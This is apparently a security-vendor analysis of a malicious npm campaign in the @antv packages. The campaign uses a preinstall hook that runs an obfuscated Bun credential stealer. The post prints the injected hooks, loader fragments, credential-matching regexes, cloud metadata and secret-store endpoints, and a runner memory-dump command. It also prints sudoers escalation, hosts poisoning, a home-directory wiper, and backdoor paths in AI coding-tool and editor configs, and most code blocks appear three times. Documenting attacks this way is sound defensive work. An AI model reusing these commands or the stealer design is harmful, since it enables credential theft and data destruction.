BACK

Real World Attacks

Not-So-Mini Shai-Hulud Hits 600 @antv Ecosystem packages

Valentino Duval

19 May 2026

Real World Attacks

Not-So-Mini Shai-Hulud Hits 600 @antv Ecosystem packages

Valentino Duval

19 May 2026

Real World Attacks

Not-So-Mini Shai-Hulud Hits 600 @antv Ecosystem packages

Valentino Duval

19 May 2026

No headings found in content selector: .toc-content

Not-So-Mini Shai-Hulud Hits the @antv Ecosystem

Executive Summary

This morning, Ossprey Security detected nine trojanized packages immediately on publication to the npm registry, flagging each as malicious with 1-3 minutes of release. The affected versions span the Alibaba AntV data-visualization ecosystem: @antv/scale@0.6.2, @antv/g-canvas@2.3.0, @antv/path-util@3.1.1, @antv/g@6.4.1, @antv/g-svg@2.2.1, @antv/g-lite@2.8.0, @antv/vendor@1.1.11, @antv/g2-extension-plot@0.3.2, and @antv/l7-layers@2.26.10. All nine were published by the compromised npm account atool in an automated burst alongside 628 other malicious versions across the broader AntV and related package set. Combined monthly downloads exceed 8 million. Each version adds a preinstall: bun run index.js lifecycle hook that runs a byte-identical 498 KB obfuscated Bun/JavaScript credential stealer on every npm install.

The payload sweeps the local filesystem and environment for 20-plus categories of secrets: AWS access keys, GitHub tokens, npm tokens, HashiCorp Vault tokens, Kubernetes service-account tokens, SSH keys, database DSNs, and desktop password manager contents. It encrypts the harvest and exfiltrates it via the GitHub REST API by committing to attacker-controlled repositories.

Secondary capabilities include Docker-socket container escape, sudoers privilege escalation, hosts-file poisoning, local project reinfection, and a wiper triggered on abort. Attribution to the threat actor tracked as TeamPCP is moderate confidence based on payload overlap and campaign mechanics documented across the broader Shai-Hulud incident timeline.

Technical Breakdown

Stage 0: Execution Trigger via Lifecycle Hook and Bun Bootstrap

We started by diffing the nine package.json files against their last-known-good versions. Each adds exactly two fields: a version bump and a preinstall script. The preinstall hook fires before any other lifecycle step and before any listed dependency is installed, giving the attacker code execution in the developer's or CI runner's environment with the full privileges of the npm process.

The hook body is bun run index.js. Bun is a fast JavaScript runtime with broad npm compatibility. The payload requires it specifically because the bundle uses Bun-native APIs (Bun.write, Bun.file, and worker threads). If Bun is not present, a bootstrap command decoded from the payload's string table installs it silently via curl | bash before proceeding. The 498 KB index.js sits in the package root alongside the legitimate library code, invisible to casual inspection of the dist/ or src/ directories that most developers skim.

// package.json diff, identical pattern across all nine packages
// @antv/g@6.4.1
"scripts": {
  "build:js": "rimraf dist && rollup -c",
  "preinstall": "bun run index.js"   // <-- injected
},
"optionalDependencies": {
  "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"  // <-- injected
}

// Decoded from payload string table index [392]:
"command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)"

// Decoded from payload string table index [92] and [20]:
"bun run "
"bun run .claude/"
// package.json diff, identical pattern across all nine packages
// @antv/g@6.4.1
"scripts": {
  "build:js": "rimraf dist && rollup -c",
  "preinstall": "bun run index.js"   // <-- injected
},
"optionalDependencies": {
  "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"  // <-- injected
}

// Decoded from payload string table index [392]:
"command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)"

// Decoded from payload string table index [92] and [20]:
"bun run "
"bun run .claude/"
// package.json diff, identical pattern across all nine packages
// @antv/g@6.4.1
"scripts": {
  "build:js": "rimraf dist && rollup -c",
  "preinstall": "bun run index.js"   // <-- injected
},
"optionalDependencies": {
  "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"  // <-- injected
}

// Decoded from payload string table index [392]:
"command -v bun >/dev/null 2>&1 || (curl -fsSL https://bun.sh/install | bash && export PATH=$HOME/.bun/bin:$PATH)"

// Decoded from payload string table index [92] and [20]:
"bun run "
"bun run .claude/"

Stage 1: Dual Delivery via Direct Hook and Ghosted GitHub Commit

Alongside the direct preinstall hook, every compromised package injects an optionalDependencies entry pointing to github:antvis/G2#1916faa365f2788b6e193514872d51a242876569. When npm resolves a github: dependency it fetches the commit by SHA, finds a package.json, and runs its lifecycle scripts. The commit message is New Package. It contains two files: a package.json declaring @antv/setup with a prepare script, and a 499 KB index.js carrying a re-obfuscated variant of the same Shai-Hulud payload.

The commit itself was never pushed directly to antvis/G2. It was created in a fork of the repository. GitHub uses git alternates to share object storage between a repository and its forks: any commit object reachable in a fork is also fetchable by SHA through the parent repository's namespace. This means npm's github:antvis/G2#<sha> resolution successfully retrieves the commit without any push event appearing in antvis/G2's own event log, with no pull request, and no modified branch. The exit 1 appended to the prepare script (bun run index.js && exit 1) suppresses downstream error propagation, preventing install failures that would alert the developer.

The imposter commit was pushed to the fork at approximately 01:25 UTC on 2026-05-19, roughly 19 minutes before the first malicious npm publish.

// optionalDependencies entry, decoded from package.json
{
  "optionalDependencies": {
    "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
  }
}

// package.json at commit antvis/G2#1916faa (message: "New Package")
{
  "name": "@antv/setup",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "prepare": "bun run index.js && exit 1"
  },
  "dependencies": {
    "bun": "^1.3.14"
  }
}

// Decoded from payload string table index [128]:
"@antv/setup"
// Decoded from payload string table index [1477]:
"@sap/setup"  // prior campaign variant targeting SAP ecosystem
// optionalDependencies entry, decoded from package.json
{
  "optionalDependencies": {
    "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
  }
}

// package.json at commit antvis/G2#1916faa (message: "New Package")
{
  "name": "@antv/setup",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "prepare": "bun run index.js && exit 1"
  },
  "dependencies": {
    "bun": "^1.3.14"
  }
}

// Decoded from payload string table index [128]:
"@antv/setup"
// Decoded from payload string table index [1477]:
"@sap/setup"  // prior campaign variant targeting SAP ecosystem
// optionalDependencies entry, decoded from package.json
{
  "optionalDependencies": {
    "@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
  }
}

// package.json at commit antvis/G2#1916faa (message: "New Package")
{
  "name": "@antv/setup",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "prepare": "bun run index.js && exit 1"
  },
  "dependencies": {
    "bun": "^1.3.14"
  }
}

// Decoded from payload string table index [128]:
"@antv/setup"
// Decoded from payload string table index [1477]:
"@sap/setup"  // prior campaign variant targeting SAP ecosystem

Stage 2: Payload Architecture, Two-Layer Obfuscation

We unpacked all nine index.js files and confirmed that their SHA256 hashes are identical (a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c). The file is a single 498,431-byte line. The obfuscation uses two layers.

The outer layer is javascript-obfuscator's hex-variable pattern. All identifiers are replaced with _0x-prefixed hex values, and all string literals are stored in a 1,728-entry array (_0x5e03) accessed through a custom base64-plus-decodeURIComponent decoder function (_0x1169, aliased to _0x5d6bea). An IIFE at the start of the file rotates the array until a polynomial checksum matches the target value 0xa59af, making static extraction order-dependent.

The inner layer covers all operationally sensitive strings (environment variable names, file paths, API endpoints, and C2 addresses) behind a second encrypted decoder named fc2edea72. That function decrypts its arguments using a key derived via PBKDF2-SHA256 with 200,000 rounds from the seed string pause and the salt rVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg==, producing a 32-byte AES master key. We decoded the outer string table completely. The inner fc2edea72 strings remain ciphertext because the derived key, while recoverable, requires individual decryption of each of the 84 encrypted blobs.

// Beginning of index.js: outer obfuscation layer
const _0x5d6bea=_0x1169;
(function(_0x3187cf,_0x895a8e){
  // IIFE rotates string array until polynomial checksum == 0xa59af.
  // The polynomial has seven terms with divisors 1 through 11.
  while(!![]){try{
    const _0x483def=parseInt(_0x221ff1(0x3eb))/0x1
      +-parseInt(_0x221ff1(0x6c1))/0x2
      +parseInt(_0x221ff1(0x85d))/0x3
      // ... remaining terms elided ...
    if(_0x483def===_0x895a8e)break;
    else _0x688b5f['push'](_0x688b5f['shift']());
  }catch{_0x688b5f['push'](_0x688b5f['shift']());}}
}(_0x5e03,0xa59af));

import{createHash as _0x14b992,pbkdf2Sync as _0x5c7af0,randomBytes as _0x32ec30}from'crypto';

// Inner encryption class 'er': PBKDF2 key derivation for fc2edea72 decoder
// e1 (key seed, decoded from string table): 'pause'
// t1 (salt, decoded from string table):     'rVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg=='
// this[derivedKey] = pbkdf2Sync(e1, t1, 200000, 32, 'sha256')
// --> 832bb2c62c660cc4da8ed0d19bdd3bce842d1aa29087d992e5cab1eeb3badddc

// Registering the decrypt function globally:
globalThis[_0x5d6bea(0x87d)] = r8;  // stores decryptor as globalThis['split']
var o8 = fc2edea72(_0x5d6bea(0x62a));  // o8 = decrypted API base URL (C2 endpoint)
var g8 = fc2edea72(_0x5d6bea(0x3a2));  // g8 = decrypted User-Agent string
// Beginning of index.js: outer obfuscation layer
const _0x5d6bea=_0x1169;
(function(_0x3187cf,_0x895a8e){
  // IIFE rotates string array until polynomial checksum == 0xa59af.
  // The polynomial has seven terms with divisors 1 through 11.
  while(!![]){try{
    const _0x483def=parseInt(_0x221ff1(0x3eb))/0x1
      +-parseInt(_0x221ff1(0x6c1))/0x2
      +parseInt(_0x221ff1(0x85d))/0x3
      // ... remaining terms elided ...
    if(_0x483def===_0x895a8e)break;
    else _0x688b5f['push'](_0x688b5f['shift']());
  }catch{_0x688b5f['push'](_0x688b5f['shift']());}}
}(_0x5e03,0xa59af));

import{createHash as _0x14b992,pbkdf2Sync as _0x5c7af0,randomBytes as _0x32ec30}from'crypto';

// Inner encryption class 'er': PBKDF2 key derivation for fc2edea72 decoder
// e1 (key seed, decoded from string table): 'pause'
// t1 (salt, decoded from string table):     'rVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg=='
// this[derivedKey] = pbkdf2Sync(e1, t1, 200000, 32, 'sha256')
// --> 832bb2c62c660cc4da8ed0d19bdd3bce842d1aa29087d992e5cab1eeb3badddc

// Registering the decrypt function globally:
globalThis[_0x5d6bea(0x87d)] = r8;  // stores decryptor as globalThis['split']
var o8 = fc2edea72(_0x5d6bea(0x62a));  // o8 = decrypted API base URL (C2 endpoint)
var g8 = fc2edea72(_0x5d6bea(0x3a2));  // g8 = decrypted User-Agent string
// Beginning of index.js: outer obfuscation layer
const _0x5d6bea=_0x1169;
(function(_0x3187cf,_0x895a8e){
  // IIFE rotates string array until polynomial checksum == 0xa59af.
  // The polynomial has seven terms with divisors 1 through 11.
  while(!![]){try{
    const _0x483def=parseInt(_0x221ff1(0x3eb))/0x1
      +-parseInt(_0x221ff1(0x6c1))/0x2
      +parseInt(_0x221ff1(0x85d))/0x3
      // ... remaining terms elided ...
    if(_0x483def===_0x895a8e)break;
    else _0x688b5f['push'](_0x688b5f['shift']());
  }catch{_0x688b5f['push'](_0x688b5f['shift']());}}
}(_0x5e03,0xa59af));

import{createHash as _0x14b992,pbkdf2Sync as _0x5c7af0,randomBytes as _0x32ec30}from'crypto';

// Inner encryption class 'er': PBKDF2 key derivation for fc2edea72 decoder
// e1 (key seed, decoded from string table): 'pause'
// t1 (salt, decoded from string table):     'rVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg=='
// this[derivedKey] = pbkdf2Sync(e1, t1, 200000, 32, 'sha256')
// --> 832bb2c62c660cc4da8ed0d19bdd3bce842d1aa29087d992e5cab1eeb3badddc

// Registering the decrypt function globally:
globalThis[_0x5d6bea(0x87d)] = r8;  // stores decryptor as globalThis['split']
var o8 = fc2edea72(_0x5d6bea(0x62a));  // o8 = decrypted API base URL (C2 endpoint)
var g8 = fc2edea72(_0x5d6bea(0x3a2));  // g8 = decrypted User-Agent string

Stage 3: Credential Scanner, Broad Regex Sweep of Filesystem and Environment

The main orchestrator function J2() instantiates a pipeline of scanner classes. Class ao is the file-system scanner. Its constructor passes a map of 18 compiled regular expressions to the parent class S, which applies them across each file it processes. The regex set is stored in plaintext in the compiled bundle, one of the few unencrypted artifacts in the payload. It covers nearly every common credential format a developer or CI runner might have on disk.

A second scanner class, Io, targets GitHub repository contents using a token passed to it by the orchestrator. It fetches the repository commit list and scans each blob for npm_* and gh[op]_* token patterns. The environment variable scanner (zo) reads 80-plus encrypted environment variable names via fc2edea72 calls and passes their values to the same regex battery. All matches are funneled through a batched dispatcher (Po) with a 100 KB flush threshold, which triggers exfiltration when the buffer fills.

// class ao constructor: file-system credential scanner (index.js, position ~441,074)
class ao extends S {
  constructor() {
    super(
      _0x5d6bea(0x2eb),  // scanner name (encrypted)
      _0x5d6bea(0x726),  // scanner description (encrypted)
      {
        'ghtoken':        /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
        'npmtoken':       /npm_[A-Za-z0-9_\-\.]{36,}/g,
        'k8stoken':       /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
        'awskey':         /(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
        'awsSessionToken':/aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
        'gcpKey':         /"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
        'azureKey':       /(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
        'dbConnStr':      /(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
        'stripeKey':      /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
        'slackToken':     /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
        'twilioKey':      /SK[0-9a-f]{32}/gi,
        'privateKey':     /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
        'sshKey':         /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
        'dockerAuth':     /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
        'kubeconfig':     /[A-Za-z0-9+/=]{20,}/g,
        'secret':         /["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
        'genericSecret':  /[A-Za-z0-9_\-\.]{20,}/g,
        'urlCred':        /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g
      }
    );
  }
}
// class ao constructor: file-system credential scanner (index.js, position ~441,074)
class ao extends S {
  constructor() {
    super(
      _0x5d6bea(0x2eb),  // scanner name (encrypted)
      _0x5d6bea(0x726),  // scanner description (encrypted)
      {
        'ghtoken':        /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
        'npmtoken':       /npm_[A-Za-z0-9_\-\.]{36,}/g,
        'k8stoken':       /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
        'awskey':         /(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
        'awsSessionToken':/aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
        'gcpKey':         /"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
        'azureKey':       /(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
        'dbConnStr':      /(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
        'stripeKey':      /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
        'slackToken':     /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
        'twilioKey':      /SK[0-9a-f]{32}/gi,
        'privateKey':     /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
        'sshKey':         /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
        'dockerAuth':     /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
        'kubeconfig':     /[A-Za-z0-9+/=]{20,}/g,
        'secret':         /["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
        'genericSecret':  /[A-Za-z0-9_\-\.]{20,}/g,
        'urlCred':        /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g
      }
    );
  }
}
// class ao constructor: file-system credential scanner (index.js, position ~441,074)
class ao extends S {
  constructor() {
    super(
      _0x5d6bea(0x2eb),  // scanner name (encrypted)
      _0x5d6bea(0x726),  // scanner description (encrypted)
      {
        'ghtoken':        /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
        'npmtoken':       /npm_[A-Za-z0-9_\-\.]{36,}/g,
        'k8stoken':       /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
        'awskey':         /(AKIA[0-9A-Z]{16}|aws_access_key_id["\s:=]+["']?[A-Z0-9]{20}|aws_secret_access_key["\s:=]+["']?[A-Za-z0-9/+]{40})/g,
        'awsSessionToken':/aws_session_token["\s:=]+["']?[A-Za-z0-9/+=]{100,}/gi,
        'gcpKey':         /"type":\s*"service_account"|"private_key":\s*"-----BEGIN PRIVATE KEY-----/g,
        'azureKey':       /(AccountKey|accessKey|client_secret)["\s:=]+["']?[A-Za-z0-9+/=]{40,}/gi,
        'dbConnStr':      /(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s'"]+/gi,
        'stripeKey':      /(sk|pk)_(test|live)_[0-9a-zA-Z]{24,}/g,
        'slackToken':     /xox[baprs]-[0-9a-zA-Z\-]{10,}/g,
        'twilioKey':      /SK[0-9a-f]{32}/gi,
        'privateKey':     /-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----/g,
        'sshKey':         /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
        'dockerAuth':     /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
        'kubeconfig':     /[A-Za-z0-9+/=]{20,}/g,
        'secret':         /["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
        'genericSecret':  /[A-Za-z0-9_\-\.]{20,}/g,
        'urlCred':        /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g
      }
    );
  }
}

Stage 4: Cloud and CI/CD Credential Harvesting

Cloud credential collection goes beyond static file scanning. We decoded the plaintext portions of the payload's string table and recovered the full set of HTTP endpoints and API call patterns used for live credential retrieval.

For AWS, the payload queries the IMDSv1 endpoint directly, issues a token request to the IMDSv2 endpoint, and calls AWS STS GetCallerIdentity to enumerate the active account ARN. It then iterates AWS regions (us-east-1, us-east-2, us-west-1, us-west-2, eu-west-1, eu-west-2, eu-west-3, eu-central-1, eu-north-1, ap-northeast-1, ap-northeast-2, ap-northeast-3, ap-southeast-1, ap-southeast-2, ap-south-1, sa-east-1, ca-central-1) calling SSM GetParameters and Secrets Manager ListSecrets / GetSecretValue.

For GitHub Actions, the payload reads GITHUB_TOKEN and related environment variables, attempts an OIDC token exchange via the npm registry, and scans runner process memory via /proc using a pipeline that extracts secrets matching the GitHub Actions internal isSecret: true format. It also detects whether the harden-runner GitHub Action from Step Security is active and adjusts behavior accordingly.

// Decoded strings from payload string table: cloud and CI/CD credential targets

// AWS IMDS (string table indices [1225], [1308])
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
"http://169.254.169.254/latest/api/token"

// AWS API operations (indices [21], [1098])
"AmazonSSM.DescribeParameters"
"AmazonSSM.GetParameters"

// NPM / GitHub Actions (indices [115], [156], [78])
"https://registry.npmjs.org/-/npm/v1/tokens"
"https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/"
"https://registry.npmjs.org/-/whoami"

// GitHub Actions runner memory dump (index [52])
"tr -d '\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u"

// HashiCorp Vault paths (indices [53], [294], [530], [612], [693], [878])
"/etc/vault/token"
"/run/secrets/vault_token"
"/var/run/secrets/vault/token"
"/.vault-token"
"/root/.vault-token"
"/home/runner/.vault-token"

// Anti-detection (indices [360], [1470])
"harden-runner"
"step-security"
// Decoded strings from payload string table: cloud and CI/CD credential targets

// AWS IMDS (string table indices [1225], [1308])
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
"http://169.254.169.254/latest/api/token"

// AWS API operations (indices [21], [1098])
"AmazonSSM.DescribeParameters"
"AmazonSSM.GetParameters"

// NPM / GitHub Actions (indices [115], [156], [78])
"https://registry.npmjs.org/-/npm/v1/tokens"
"https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/"
"https://registry.npmjs.org/-/whoami"

// GitHub Actions runner memory dump (index [52])
"tr -d '\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u"

// HashiCorp Vault paths (indices [53], [294], [530], [612], [693], [878])
"/etc/vault/token"
"/run/secrets/vault_token"
"/var/run/secrets/vault/token"
"/.vault-token"
"/root/.vault-token"
"/home/runner/.vault-token"

// Anti-detection (indices [360], [1470])
"harden-runner"
"step-security"
// Decoded strings from payload string table: cloud and CI/CD credential targets

// AWS IMDS (string table indices [1225], [1308])
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
"http://169.254.169.254/latest/api/token"

// AWS API operations (indices [21], [1098])
"AmazonSSM.DescribeParameters"
"AmazonSSM.GetParameters"

// NPM / GitHub Actions (indices [115], [156], [78])
"https://registry.npmjs.org/-/npm/v1/tokens"
"https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/"
"https://registry.npmjs.org/-/whoami"

// GitHub Actions runner memory dump (index [52])
"tr -d '\0' | grep -aoE '\"[^\"]+\":{\"value\":\"[^\"]*\",\"isSecret\":true}' | sort -u"

// HashiCorp Vault paths (indices [53], [294], [530], [612], [693], [878])
"/etc/vault/token"
"/run/secrets/vault_token"
"/var/run/secrets/vault/token"
"/.vault-token"
"/root/.vault-token"
"/home/runner/.vault-token"

// Anti-detection (indices [360], [1470])
"harden-runner"
"step-security"

Stage 5: Exfiltration via GitHub API Commits

Harvested credentials are not sent to a traditional C2 endpoint. The payload uses a GitHubSender class (setupGitHubSender) that commits stolen data to attacker-controlled GitHub repositories using a GitHub token obtained earlier in the pipeline. The orchestrator function J2() resolves a token from the credential-collection results (Z2()), instantiates a lo (local GitHub sender) and a po (remote sender object configured with encrypted domain, port, and path fields), and routes the batch of harvested secrets through both channels.

The GitHub REST API path sequence is: create a blob (/repos/*/git/blobs), create a tree (/repos/*/git/trees), create a commit (/repos/*/git/commits), and update a ref (/repos/*/git/refs/heads/results-*). Batch size is capped at 100 KB (flushThresholdBytes: 0x19000 = 102,400 bytes) before flushing. Before committing, the payload serializes secrets, AES-GCM encrypts the payload, and base64-encodes the ciphertext for transmission as a blob. The sender also reads the .claude/settings.json and /contents/results/ paths via the GitHub Contents API, suggesting it checks for an existing results tree before writing.

// J2() orchestrator: exfiltration setup (index.js)
async function J2() {
  try {
    await x2();  // pre-flight: sandbox checks, CI detection
    let _0x275585 = {
      'domain': fc2edea72(_0x13a097(0x7ce)),  // encrypted C2 domain
      'port':   0x1bb,                          // port 443
      'path':   fc2edea72(_0x13a097(0x4f7)),   // encrypted path
      'dry_run': !0x1
    };
    let _0x16419b = await Z2();  // Z2() runs zo/vo/ko scanner instances
    // ... resolve GitHub token from scan results ...
    let _0x4b7f94 = await new po(_0x275585)[_0x13a097(0x71d)]();
    let _0x3a6770 = [_0x4b7f94];  // sender array

    // Batched dispatcher with 100KB flush threshold
    let _0x54aa24 = new Po({
      'flushThresholdBytes': 0x19000,  // 102,400 bytes
      'dispatch': _0x391d08[_0x13a097(0x4151eb)]
    });

    // Scanner classes dispatched: Do, Xo, Fo, ao, $o, fo
    let _0x439a28 = [new Do(), new Xo(), new Fo(), new ao(), new $o(), new fo()];
    // ... run each scanner, flush batch ...
  } catch(_0x477cfa) {}
}

// GitHub API paths (decoded from string table)
"/repos/"                          // index [168]
"/git/refs/heads/"                 // index [598]
"/git/blobs"                       // index [1598]
"/git/trees"                       // index [1464]
"/git/commits"                     // index [1153]
"/contents/results/"               // index [1191]
"/contents/.claude/settings.json"  // index [1069]
// J2() orchestrator: exfiltration setup (index.js)
async function J2() {
  try {
    await x2();  // pre-flight: sandbox checks, CI detection
    let _0x275585 = {
      'domain': fc2edea72(_0x13a097(0x7ce)),  // encrypted C2 domain
      'port':   0x1bb,                          // port 443
      'path':   fc2edea72(_0x13a097(0x4f7)),   // encrypted path
      'dry_run': !0x1
    };
    let _0x16419b = await Z2();  // Z2() runs zo/vo/ko scanner instances
    // ... resolve GitHub token from scan results ...
    let _0x4b7f94 = await new po(_0x275585)[_0x13a097(0x71d)]();
    let _0x3a6770 = [_0x4b7f94];  // sender array

    // Batched dispatcher with 100KB flush threshold
    let _0x54aa24 = new Po({
      'flushThresholdBytes': 0x19000,  // 102,400 bytes
      'dispatch': _0x391d08[_0x13a097(0x4151eb)]
    });

    // Scanner classes dispatched: Do, Xo, Fo, ao, $o, fo
    let _0x439a28 = [new Do(), new Xo(), new Fo(), new ao(), new $o(), new fo()];
    // ... run each scanner, flush batch ...
  } catch(_0x477cfa) {}
}

// GitHub API paths (decoded from string table)
"/repos/"                          // index [168]
"/git/refs/heads/"                 // index [598]
"/git/blobs"                       // index [1598]
"/git/trees"                       // index [1464]
"/git/commits"                     // index [1153]
"/contents/results/"               // index [1191]
"/contents/.claude/settings.json"  // index [1069]
// J2() orchestrator: exfiltration setup (index.js)
async function J2() {
  try {
    await x2();  // pre-flight: sandbox checks, CI detection
    let _0x275585 = {
      'domain': fc2edea72(_0x13a097(0x7ce)),  // encrypted C2 domain
      'port':   0x1bb,                          // port 443
      'path':   fc2edea72(_0x13a097(0x4f7)),   // encrypted path
      'dry_run': !0x1
    };
    let _0x16419b = await Z2();  // Z2() runs zo/vo/ko scanner instances
    // ... resolve GitHub token from scan results ...
    let _0x4b7f94 = await new po(_0x275585)[_0x13a097(0x71d)]();
    let _0x3a6770 = [_0x4b7f94];  // sender array

    // Batched dispatcher with 100KB flush threshold
    let _0x54aa24 = new Po({
      'flushThresholdBytes': 0x19000,  // 102,400 bytes
      'dispatch': _0x391d08[_0x13a097(0x4151eb)]
    });

    // Scanner classes dispatched: Do, Xo, Fo, ao, $o, fo
    let _0x439a28 = [new Do(), new Xo(), new Fo(), new ao(), new $o(), new fo()];
    // ... run each scanner, flush batch ...
  } catch(_0x477cfa) {}
}

// GitHub API paths (decoded from string table)
"/repos/"                          // index [168]
"/git/refs/heads/"                 // index [598]
"/git/blobs"                       // index [1598]
"/git/trees"                       // index [1464]
"/git/commits"                     // index [1153]
"/contents/results/"               // index [1191]
"/contents/.claude/settings.json"  // index [1069]

Stage 6: Persistence, Privilege Escalation, and Wiper

After credential collection, the payload attempts to entrench itself and expand its reach. The persistence mechanism modifies package.json files discovered in the user's home directory by injecting additional preinstall hooks, propagating the infection to other local Node.js projects that the victim's account can reach.

Privilege escalation targets CI runners. The payload writes a passwordless sudoers rule (runner ALL=(ALL) NOPASSWD:ALL) to /etc/sudoers.d/ and sets the file mode to 0440. It also drops scripts into .claude/setup.mjs, .claude/settings.json, .vscode/setup.mjs, and .vscode/tasks.json, paths that are executed by Claude Code and VS Code on session start, providing persistent re-execution on developer machines.

A hosts-file poisoning routine appends 127.0.0.1 <target> entries to /etc/hosts via sudo sh -c "echo '...' >> /etc/hosts". Finally, a wiper string rm -rf ~/; rm -rf ~/Documents is executed on abort or detection, destroying the user's home directory and Documents folder to impede forensic analysis.

// Decoded strings from payload string table: persistence and destructive actions

// Sudoers privilege escalation (index [965])
"echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner"

// Wiper (index [1367])
"rm -rf ~/; rm -rf ~/Documents"

// Hosts-file poisoning (indices [1414], [1687], [1641])
"sudo sh -c \"echo '"
"127.0.0.1 "
"' >> /etc/hosts\""

// Claude Code backdoor paths (indices [4], [518], [109], [1010])
".claude/setup.mjs"
".claude/"
"~/.claude/package/"
".claude/settings.json"

// VS Code backdoor paths (indices [1034], [707])
".vscode/setup.mjs"
".vscode/tasks.json"

// Persistence via bun run (indices [20], [92])
"bun run .claude/"
"bun run "
// Decoded strings from payload string table: persistence and destructive actions

// Sudoers privilege escalation (index [965])
"echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner"

// Wiper (index [1367])
"rm -rf ~/; rm -rf ~/Documents"

// Hosts-file poisoning (indices [1414], [1687], [1641])
"sudo sh -c \"echo '"
"127.0.0.1 "
"' >> /etc/hosts\""

// Claude Code backdoor paths (indices [4], [518], [109], [1010])
".claude/setup.mjs"
".claude/"
"~/.claude/package/"
".claude/settings.json"

// VS Code backdoor paths (indices [1034], [707])
".vscode/setup.mjs"
".vscode/tasks.json"

// Persistence via bun run (indices [20], [92])
"bun run .claude/"
"bun run "
// Decoded strings from payload string table: persistence and destructive actions

// Sudoers privilege escalation (index [965])
"echo 'runner ALL=(ALL) NOPASSWD:ALL' > /mnt/runner && chmod 0440 /mnt/runner"

// Wiper (index [1367])
"rm -rf ~/; rm -rf ~/Documents"

// Hosts-file poisoning (indices [1414], [1687], [1641])
"sudo sh -c \"echo '"
"127.0.0.1 "
"' >> /etc/hosts\""

// Claude Code backdoor paths (indices [4], [518], [109], [1010])
".claude/setup.mjs"
".claude/"
"~/.claude/package/"
".claude/settings.json"

